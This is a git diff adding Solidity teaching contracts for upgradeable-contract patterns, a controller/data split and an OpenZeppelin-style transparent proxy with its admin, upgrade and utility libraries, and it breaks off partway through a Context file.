+- quicknode Diamond description: https://www.quicknode.com/guides/ethereum-development/smart-contracts/the-diamond-standard-eip-2535-explained-part-1
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type1-controller/ControlContract.sol b/basic/24-upgradeable-contract/contracts/type1-controller/ControlContract.sol
new file mode 100644
index 000000000..c3a2ad194
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type1-controller/ControlContract.sol
@@ -0,0 +1,19 @@
+pragma solidity ^0.8.0;
+
+import './DataContract.sol';
+contract ControlContract {
+    DataContract dataContract;
+
+    constructor(address _dataContractAddr) public {
+        dataContract = DataContract(_dataContractAddr);
+    }
+
+    function setBalance(address addr, uint256 v) public {
+        dataContract.setBalance(addr,v);
+    }
+
+    function getBalance(address addr) public view returns (uint256) {
+        return dataContract.getBalance(addr);
+    }
+
+}
diff --git a/basic/24-upgradeable-contract/contracts/type1-controller/DataContract.sol b/basic/24-upgradeable-contract/contracts/type1-controller/DataContract.sol
new file mode 100644
index 000000000..9e198116b
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type1-controller/DataContract.sol
@@ -0,0 +1,31 @@
+pragma solidity ^0.8.0;
+
+contract DataContract {
+    mapping(address => uint256) private balanceOf;
+    mapping(address => bool) private accessAllowed;
+
+    constructor() public {
+        accessAllowed[msg.sender] = true;
+    }
+
+    modifier platform() {
+        require(accessAllowed[msg.sender] == true, "Not sufficient permission");
+        _;
+    }
+
+    function allowAccess(address _addr) public platform {
+        accessAllowed[_addr] = true;
+    }
+
+    function denyAccess(address _addr) public platform {
+        accessAllowed[_addr] = false;
+    }
+
+    function setBalance(address _address, uint256 v) public platform {
+        balanceOf[_address] = v;
+    }
+
+    function getBalance(address _address) public view returns (uint256) {
+        return balanceOf[_address];
+    }
+}
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ERC1967Proxy.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ERC1967Proxy.sol
new file mode 100644
index 000000000..0cedf22a9
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ERC1967Proxy.sol
@@ -0,0 +1,30 @@
+pragma solidity ^0.8.0;
+
+import "./Proxy.sol";
+import "./ERC1967Upgrade.sol";
+
+/**
+ * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
+ * implementation address that can be changed. This address is stored in storage in the location specified by
+ * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
+ * implementation behind the proxy.
+ */
+contract ERC1967Proxy is Proxy, ERC1967Upgrade {
+    /**
+     * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
+     *
+     * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
+     * function call, and allows initializating the storage of the proxy like a Solidity constructor.
+     */
+    constructor(address _logic, bytes memory _data) payable {
+        assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
+        _upgradeToAndCall(_logic, _data, false);
+    }
+
+    /**
+     * @dev Returns the current implementation address.
+     */
+    function _implementation() internal view virtual override returns (address impl) {
+        return ERC1967Upgrade._getImplementation();
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ERC1967Upgrade.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ERC1967Upgrade.sol
new file mode 100644
index 000000000..f94ee3dab
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ERC1967Upgrade.sol
@@ -0,0 +1,192 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "./IBeacon.sol";
+import "./utils/Address.sol";
+import "./utils/StorageSlot.sol";
+
+// /**
+//  * @dev This abstract contract provides getters and event emitting update functions for
+//  * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
+//  *
+//  * _Available since v4.1._
+//  *
+//  * @custom:oz-upgrades-unsafe-allow delegatecall
+//  */
+abstract contract ERC1967Upgrade {
+    // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
+    bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
+
+    /**
+     * @dev Storage slot with the address of the current implementation.
+     * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
+     * validated in the constructor.
+     */
+    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
+
+    /**
+     * @dev Emitted when the implementation is upgraded.
+     */
+    event Upgraded(address indexed implementation);
+
+    /**
+     * @dev Returns the current implementation address.
+     */
+    function _getImplementation() internal view returns (address) {
+        return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
+    }
+
+    /**
+     * @dev Stores a new address in the EIP1967 implementation slot.
+     */
+    function _setImplementation(address newImplementation) private {
+        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
+        StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
+    }
+
+    /**
+     * @dev Perform implementation upgrade
+     *
+     * Emits an {Upgraded} event.
+     */
+    function _upgradeTo(address newImplementation) internal {
+        _setImplementation(newImplementation);
+        emit Upgraded(newImplementation);
+    }
+
+    /**
+     * @dev Perform implementation upgrade with additional setup call.
+     *
+     * Emits an {Upgraded} event.
+     */
+    function _upgradeToAndCall(
+        address newImplementation,
+        bytes memory data,
+        bool forceCall
+    ) internal {
+        _upgradeTo(newImplementation);
+        if (data.length > 0 || forceCall) {
+            Address.functionDelegateCall(newImplementation, data);
+        }
+    }
+
+    /**
+     * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
+     *
+     * Emits an {Upgraded} event.
+     */
+    function _upgradeToAndCallSecure(
+        address newImplementation,
+        bytes memory data,
+        bool forceCall
+    ) internal {
+        address oldImplementation = _getImplementation();
+
+        // Initial upgrade and setup call
+        _setImplementation(newImplementation);
+        if (data.length > 0 || forceCall) {
+            Address.functionDelegateCall(newImplementation, data);
+        }
+
+        // Perform rollback test if not already in progress
+        StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
+        if (!rollbackTesting.value) {
+            // Trigger rollback using upgradeTo from the new implementation
+            rollbackTesting.value = true;
+            Address.functionDelegateCall(
+                newImplementation,
+                abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
+            );
+            rollbackTesting.value = false;
+            // Check rollback was effective
+            require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
+            // Finally reset to the new implementation and log the upgrade
+            _upgradeTo(newImplementation);
+        }
+    }
+
+    /**
+     * @dev Storage slot with the admin of the contract.
+     * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
+     * validated in the constructor.
+     */
+    bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
+
+    /**
+     * @dev Emitted when the admin account has changed.
+     */
+    event AdminChanged(address previousAdmin, address newAdmin);
+
+    /**
+     * @dev Returns the current admin.
+     */
+    function _getAdmin() internal view returns (address) {
+        return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
+    }
+
+    /**
+     * @dev Stores a new address in the EIP1967 admin slot.
+     */
+    function _setAdmin(address newAdmin) private {
+        require(newAdmin != address(0), "ERC1967: new admin is the zero address");
+        StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
+    }
+
+    /**
+     * @dev Changes the admin of the proxy.
+     *
+     * Emits an {AdminChanged} event.
+     */
+    function _changeAdmin(address newAdmin) internal {
+        emit AdminChanged(_getAdmin(), newAdmin);
+        _setAdmin(newAdmin);
+    }
+
+    /**
+     * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
+     * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
+     */
+    bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
+
+    /**
+     * @dev Emitted when the beacon is upgraded.
+     */
+    event BeaconUpgraded(address indexed beacon);
+
+    /**
+     * @dev Returns the current beacon.
+     */
+    function _getBeacon() internal view returns (address) {
+        return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
+    }
+
+    /**
+     * @dev Stores a new beacon in the EIP1967 beacon slot.
+     */
+    function _setBeacon(address newBeacon) private {
+        require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
+        require(
+            Address.isContract(IBeacon(newBeacon).implementation()),
+            "ERC1967: beacon implementation is not a contract"
+        );
+        StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
+    }
+
+    /**
+     * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
+     * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
+     *
+     * Emits a {BeaconUpgraded} event.
+     */
+    function _upgradeBeaconToAndCall(
+        address newBeacon,
+        bytes memory data,
+        bool forceCall
+    ) internal {
+        _setBeacon(newBeacon);
+        emit BeaconUpgraded(newBeacon);
+        if (data.length > 0 || forceCall) {
+            Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/IBeacon.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/IBeacon.sol
new file mode 100644
index 000000000..faa1d18e9
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/IBeacon.sol
@@ -0,0 +1,13 @@
+pragma solidity ^0.8.0;
+
+/**
+ * @dev This is the interface that {BeaconProxy} expects of its beacon.
+ */
+interface IBeacon {
+    /**
+     * @dev Must return an address that can be used as a delegate call target.
+     *
+     * {BeaconProxy} will check that this address is a contract.
+     */
+    function implementation() external view returns (address);
+}
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/Params.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/Params.sol
new file mode 100644
index 000000000..a55feb8fd
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/Params.sol
@@ -0,0 +1,24 @@
+pragma solidity ^0.8.0;
+
+import "./utils/Initializable.sol";
+import "./utils/OwnableUpgradeable.sol";
+
+contract Params is Initializable,OwnableUpgradeable {
+	function initialize()public initializer{
+		__Context_init_unchained();
+		__Ownable_init_unchained();
+	}
+    mapping(string => uint256) private uint256Params;
+
+    event Uint256ParamSetted(string indexed _key,uint256 _value);
+
+    function SetUint256Param(string memory _key,uint256 _value) external onlyOwner{
+        uint256Params[_key] = _value;
+        emit Uint256ParamSetted(_key,_value);
+    }
+
+
+    function GetUint256Param(string memory _key)public view returns(uint256){
+        return uint256Params[_key];
+    }
+}
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ParamsNew.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ParamsNew.sol
new file mode 100644
index 000000000..d25dded26
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ParamsNew.sol
@@ -0,0 +1,26 @@
+pragma solidity ^0.8.0;
+
+import "./utils/Initializable.sol";
+import "./utils/OwnableUpgradeable.sol";
+
+contract ParamsNew is Initializable,OwnableUpgradeable {
+	function initialize()public initializer{
+		__Context_init_unchained();
+		__Ownable_init_unchained();
+	}
+    mapping(string => uint256) private uint256Params;
+
+    event Uint256ParamSetted(string indexed _key,uint256 _value);
+
+    function SetUint256Param(string memory _key,uint256 _value) external onlyOwner{
+        uint256Params[_key] = _value;
+        emit Uint256ParamSetted(_key,_value);
+    }
+
+
+   function GetUint256Param(string memory _key)public view returns(uint256){
+        uint256 v = uint256Params[_key];
+        return v+1;
+    }
+
+}
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/Proxy.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/Proxy.sol
new file mode 100644
index 000000000..a0061a9f0
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/Proxy.sol
@@ -0,0 +1,85 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
+ * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
+ * be specified by overriding the virtual {_implementation} function.
+ *
+ * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
+ * different contract through the {_delegate} function.
+ *
+ * The success and return data of the delegated call will be returned back to the caller of the proxy.
+ */
+abstract contract Proxy {
+    /**
+     * @dev Delegates the current call to `implementation`.
+     *
+     * This function does not return to its internall call site, it will return directly to the external caller.
+     */
+    function _delegate(address implementation) internal virtual {
+        assembly {
+            // Copy msg.data. We take full control of memory in this inline assembly
+            // block because it will not return to Solidity code. We overwrite the
+            // Solidity scratch pad at memory position 0.
+            calldatacopy(0, 0, calldatasize())
+
+            // Call the implementation.
+            // out and outsize are 0 because we don't know the size yet.
+            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
+
+            // Copy the returned data.
+            returndatacopy(0, 0, returndatasize())
+
+            switch result
+            // delegatecall returns 0 on error.
+            case 0 {
+                revert(0, returndatasize())
+            }
+            default {
+                return(0, returndatasize())
+            }
+        }
+    }
+
+    /**
+     * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
+     * and {_fallback} should delegate.
+     */
+    function _implementation() internal view virtual returns (address);
+
+    /**
+     * @dev Delegates the current call to the address returned by `_implementation()`.
+     *
+     * This function does not return to its internall call site, it will return directly to the external caller.
+     */
+    function _fallback() internal virtual {
+        _beforeFallback();
+        _delegate(_implementation());
+    }
+
+    /**
+     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
+     * function in the contract matches the call data.
+     */
+    fallback() external payable virtual {
+        _fallback();
+    }
+
+    /**
+     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
+     * is empty.
+     */
+    receive() external payable virtual {
+        _fallback();
+    }
+
+    /**
+     * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
+     * call, or as part of the Solidity `fallback` or `receive` functions.
+     *
+     * If overriden should call `super._beforeFallback()`.
+     */
+    function _beforeFallback() internal virtual {}
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ProxyAdmin.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ProxyAdmin.sol
new file mode 100644
index 000000000..c8675198a
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/ProxyAdmin.sol
@@ -0,0 +1,78 @@
+pragma solidity ^0.8.0;
+
+import "./TransparentUpgradeableProxy.sol";
+import "./utils/Ownable.sol";
+
+/**
+ * @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an
+ * explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.
+ */
+contract ProxyAdmin is Ownable {
+    /**
+     * @dev Returns the current implementation of `proxy`.
+     *
+     * Requirements:
+     *
+     * - This contract must be the admin of `proxy`.
+     */
+    function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
+        // We need to manually run the static call since the getter cannot be flagged as view
+        // bytes4(keccak256("implementation()")) == 0x5c60da1b
+        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
+        require(success);
+        return abi.decode(returndata, (address));
+    }
+
+    /**
+     * @dev Returns the current admin of `proxy`.
+     *
+     * Requirements:
+     *
+     * - This contract must be the admin of `proxy`.
+     */
+    function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
+        // We need to manually run the static call since the getter cannot be flagged as view
+        // bytes4(keccak256("admin()")) == 0xf851a440
+        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
+        require(success);
+        return abi.decode(returndata, (address));
+    }
+
+    /**
+     * @dev Changes the admin of `proxy` to `newAdmin`.
+     *
+     * Requirements:
+     *
+     * - This contract must be the current admin of `proxy`.
+     */
+    function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
+        proxy.changeAdmin(newAdmin);
+    }
+
+    /**
+     * @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.
+     *
+     * Requirements:
+     *
+     * - This contract must be the admin of `proxy`.
+     */
+    function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
+        proxy.upgradeTo(implementation);
+    }
+
+    /**
+     * @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See
+     * {TransparentUpgradeableProxy-upgradeToAndCall}.
+     *
+     * Requirements:
+     *
+     * - This contract must be the admin of `proxy`.
+     */
+    function upgradeAndCall(
+        TransparentUpgradeableProxy proxy,
+        address implementation,
+        bytes memory data
+    ) public payable virtual onlyOwner {
+        proxy.upgradeToAndCall{value: msg.value}(implementation, data);
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/TransparentUpgradeableProxy.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/TransparentUpgradeableProxy.sol
new file mode 100644
index 000000000..7665cfdfb
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/TransparentUpgradeableProxy.sol
@@ -0,0 +1,124 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./ERC1967Proxy.sol";
+
+/**
+ * @dev This contract implements a proxy that is upgradeable by an admin.
+ *
+ * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
+ * clashing], which can potentially be used in an attack, this contract uses the
+ * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
+ * things that go hand in hand:
+ *
+ * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
+ * that call matches one of the admin functions exposed by the proxy itself.
+ * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
+ * implementation. If the admin tries to call a function on the implementation it will fail with an error that says
+ * "admin cannot fallback to proxy target".
+ *
+ * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
+ * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
+ * to sudden errors when trying to call a function from the proxy implementation.
+ *
+ * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
+ * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
+ */
+contract TransparentUpgradeableProxy is ERC1967Proxy {
+    /**
+     * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
+     * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
+     */
+    constructor(
+        address _logic,
+        address admin_,
+        bytes memory _data
+    ) payable ERC1967Proxy(_logic, _data) {
+        assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
+        _changeAdmin(admin_);
+    }
+
+    /**
+     * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
+     */
+    modifier ifAdmin() {
+        if (msg.sender == _getAdmin()) {
+            _;
+        } else {
+            _fallback();
+        }
+    }
+
+    /**
+     * @dev Returns the current admin.
+     *
+     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
+     *
+     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
+     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
+     * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
+     */
+    function admin() external ifAdmin returns (address admin_) {
+        admin_ = _getAdmin();
+    }
+
+    /**
+     * @dev Returns the current implementation.
+     *
+     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
+     *
+     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
+     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
+     * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
+     */
+    function implementation() external ifAdmin returns (address implementation_) {
+        implementation_ = _implementation();
+    }
+
+    /**
+     * @dev Changes the admin of the proxy.
+     *
+     * Emits an {AdminChanged} event.
+     *
+     * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
+     */
+    function changeAdmin(address newAdmin) external virtual ifAdmin {
+        _changeAdmin(newAdmin);
+    }
+
+    /**
+     * @dev Upgrade the implementation of the proxy.
+     *
+     * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
+     */
+    function upgradeTo(address newImplementation) external ifAdmin {
+        _upgradeToAndCall(newImplementation, bytes(""), false);
+    }
+
+    /**
+     * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
+     * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
+     * proxied contract.
+     *
+     * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
+     */
+    function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
+        _upgradeToAndCall(newImplementation, data, true);
+    }
+
+    /**
+     * @dev Returns the current admin.
+     */
+    function _admin() internal view virtual returns (address) {
+        return _getAdmin();
+    }
+
+    /**
+     * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
+     */
+    function _beforeFallback() internal virtual override {
+        require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
+        super._beforeFallback();
+    }
+}
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Address.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Address.sol
new file mode 100644
index 000000000..44fa003d6
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Address.sol
@@ -0,0 +1,216 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev Collection of functions related to the address type
+ */
+library Address {
+    /**
+     * @dev Returns true if `account` is a contract.
+     *
+     * [IMPORTANT]
+     * ====
+     * It is unsafe to assume that an address for which this function returns
+     * false is an externally-owned account (EOA) and not a contract.
+     *
+     * Among others, `isContract` will return false for the following
+     * types of addresses:
+     *
+     *  - an externally-owned account
+     *  - a contract in construction
+     *  - an address where a contract will be created
+     *  - an address where a contract lived, but was destroyed
+     * ====
+     */
+    function isContract(address account) internal view returns (bool) {
+        // This method relies on extcodesize, which returns 0 for contracts in
+        // construction, since the code is only stored at the end of the
+        // constructor execution.
+
+        uint256 size;
+        assembly {
+            size := extcodesize(account)
+        }
+        return size > 0;
+    }
+
+    /**
+     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
+     * `recipient`, forwarding all available gas and reverting on errors.
+     *
+     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
+     * of certain opcodes, possibly making contracts go over the 2300 gas limit
+     * imposed by `transfer`, making them unable to receive funds via
+     * `transfer`. {sendValue} removes this limitation.
+     *
+     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
+     *
+     * IMPORTANT: because control is transferred to `recipient`, care must be
+     * taken to not create reentrancy vulnerabilities. Consider using
+     * {ReentrancyGuard} or the
+     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
+     */
+    function sendValue(address payable recipient, uint256 amount) internal {
+        require(address(this).balance >= amount, "Address: insufficient balance");
+
+        (bool success, ) = recipient.call{value: amount}("");
+        require(success, "Address: unable to send value, recipient may have reverted");
+    }
+
+    /**
+     * @dev Performs a Solidity function call using a low level `call`. A
+     * plain `call` is an unsafe replacement for a function call: use this
+     * function instead.
+     *
+     * If `target` reverts with a revert reason, it is bubbled up by this
+     * function (like regular Solidity function calls).
+     *
+     * Returns the raw returned data. To convert to the expected return value,
+     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
+     *
+     * Requirements:
+     *
+     * - `target` must be a contract.
+     * - calling `target` with `data` must not revert.
+     *
+     * _Available since v3.1._
+     */
+    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
+        return functionCall(target, data, "Address: low-level call failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
+     * `errorMessage` as a fallback revert reason when `target` reverts.
+     *
+     * _Available since v3.1._
+     */
+    function functionCall(
+        address target,
+        bytes memory data,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        return functionCallWithValue(target, data, 0, errorMessage);
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
+     * but also transferring `value` wei to `target`.
+     *
+     * Requirements:
+     *
+     * - the calling contract must have an ETH balance of at least `value`.
+     * - the called Solidity function must be `payable`.
+     *
+     * _Available since v3.1._
+     */
+    function functionCallWithValue(
+        address target,
+        bytes memory data,
+        uint256 value
+    ) internal returns (bytes memory) {
+        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
+     * with `errorMessage` as a fallback revert reason when `target` reverts.
+     *
+     * _Available since v3.1._
+     */
+    function functionCallWithValue(
+        address target,
+        bytes memory data,
+        uint256 value,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        require(address(this).balance >= value, "Address: insufficient balance for call");
+        require(isContract(target), "Address: call to non-contract");
+
+        (bool success, bytes memory returndata) = target.call{value: value}(data);
+        return verifyCallResult(success, returndata, errorMessage);
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
+     * but performing a static call.
+     *
+     * _Available since v3.3._
+     */
+    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
+        return functionStaticCall(target, data, "Address: low-level static call failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
+     * but performing a static call.
+     *
+     * _Available since v3.3._
+     */
+    function functionStaticCall(
+        address target,
+        bytes memory data,
+        string memory errorMessage
+    ) internal view returns (bytes memory) {
+        require(isContract(target), "Address: static call to non-contract");
+
+        (bool success, bytes memory returndata) = target.staticcall(data);
+        return verifyCallResult(success, returndata, errorMessage);
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
+     * but performing a delegate call.
+     *
+     * _Available since v3.4._
+     */
+    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
+        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
+     * but performing a delegate call.
+     *
+     * _Available since v3.4._
+     */
+    function functionDelegateCall(
+        address target,
+        bytes memory data,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        require(isContract(target), "Address: delegate call to non-contract");
+
+        (bool success, bytes memory returndata) = target.delegatecall(data);
+        return verifyCallResult(success, returndata, errorMessage);
+    }
+
+    /**
+     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
+     * revert reason using the provided one.
+     *
+     * _Available since v4.3._
+     */
+    function verifyCallResult(
+        bool success,
+        bytes memory returndata,
+        string memory errorMessage
+    ) internal pure returns (bytes memory) {
+        if (success) {
+            return returndata;
+        } else {
+            // Look for revert reason and bubble it up if present
+            if (returndata.length > 0) {
+                // The easiest way to bubble the revert reason is using memory via assembly
+
+                assembly {
+                    let returndata_size := mload(returndata)
+                    revert(add(32, returndata), returndata_size)
+                }
+            } else {
+                revert(errorMessage);
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Context.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Context.sol
new file mode 100644
index 000000000..7aa3e480b
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/Context.sol
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev Provides information about the current execution context, including the
+ * sender of the transaction and its data. While these are generally available
+ * via msg.sender and msg.data, they should not be accessed in such a direct
+ * manner, since when dealing with meta-transactions the account sending and
+ * paying for execution may not be the actual sender (as far as an application
+ * is concerned).
+ *
+ * This contract is only required for intermediate, library-like contracts.
+ */
+abstract contract Context {
+    function _msgSender() internal view virtual returns (address) {
+        return msg.sender;
+    }
+
+    function _msgData() internal view virtual returns (bytes calldata) {
+        return msg.data;
+    }
+}
\ No newline at end of file
diff --git a/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/ContextUpgradeable.sol b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/ContextUpgradeable.sol
new file mode 100644
index 000000000..37db064ae
--- /dev/null
+++ b/basic/24-upgradeable-contract/contracts/type2-transparent-proxy/utils/ContextUpgradeable.sol
@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+import "./Initializable.sol";
+
+/**
+ * @dev Provides information about the current execution context, including the
+ * sender of the transaction and its data. While these are generally available
+ * via msg.sender and msg.data, they should not be accessed in such a direct
+ * manner, since when dealing with meta-transactions the account sending and
+ * paying for execution may not be the actual sender (as far as an application
+ * is concerned).
+ *
+ * This contract is only required for intermediate, library-like contracts.
+ */
+abstract contract ContextUpgradeable is Initializable {
